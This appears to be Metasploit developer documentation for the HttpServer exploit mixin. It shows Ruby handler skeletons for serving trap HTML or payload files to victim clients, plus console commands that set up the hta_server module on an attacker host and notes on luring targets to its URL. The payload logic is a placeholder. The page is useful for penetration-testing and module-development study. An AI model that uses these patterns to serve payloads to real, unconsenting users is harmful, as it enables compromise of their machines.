HttpServer
Msf::Exploit::Remote::HttpServer starts an HTTP server on the attacker side and serves content or payloads to clients such as browsers. Its implementation is lib/msf/core/exploit/remote/http_server.rb.
When to use it
Section titled “When to use it”| Purpose | Example |
|---|---|
| Browser exploit | Return trap HTML or JavaScript |
| File delivery | Let the client download an HTA, executable, or script |
| Combined use | Use HttpClient to operate an admin interface and HttpServer to serve a payload |
include
Section titled “include”include Msf::Exploit::Remote::HttpServer# HTML-specificinclude Msf::Exploit::Remote::HttpServer::HTMLMain options include SRVHOST, SRVPORT, URIPATH, and SSL.
Pattern: on_request_uri
Section titled “Pattern: on_request_uri”def exploit # The parent often starts the service superend
def on_request_uri(cli, request) print_status("Client #{cli.peerhost} requested #{request.uri}") payload_data = regenerate_payload(cli).encoded html = %|<html><body><script>/* deliver */</script></body></html>| send_response(cli, html, 'Content-Type' => 'text/html')end| API | Purpose |
|---|---|
on_request_uri(cli, request) | Main handler for incoming requests (override) |
send_response(cli, body, headers) | Send a response |
send_redirect(cli, location) | Redirect |
send_not_found(cli) | 404 |
add_resource / hardcoded_uripath | Additional path |
regenerate_payload(cli) | Regenerate a payload for the client |
get_uri | URL to give the victim |
Pattern: simple file delivery
Section titled “Pattern: simple file delivery”def on_request_uri(cli, _request) data = File.binread(datastore['HTML::path']) rescue payload.encoded send_response(cli, data, 'Content-Type' => 'application/octet-stream')endAt runtime
Section titled “At runtime”use exploit/windows/misc/hta_serverset SRVHOST 10.10.16.10set SRVPORT 8080set URIPATH /xrun# Have the target open the displayed URLA separate route must bring the client here, such as DNS, a link, or XSS.

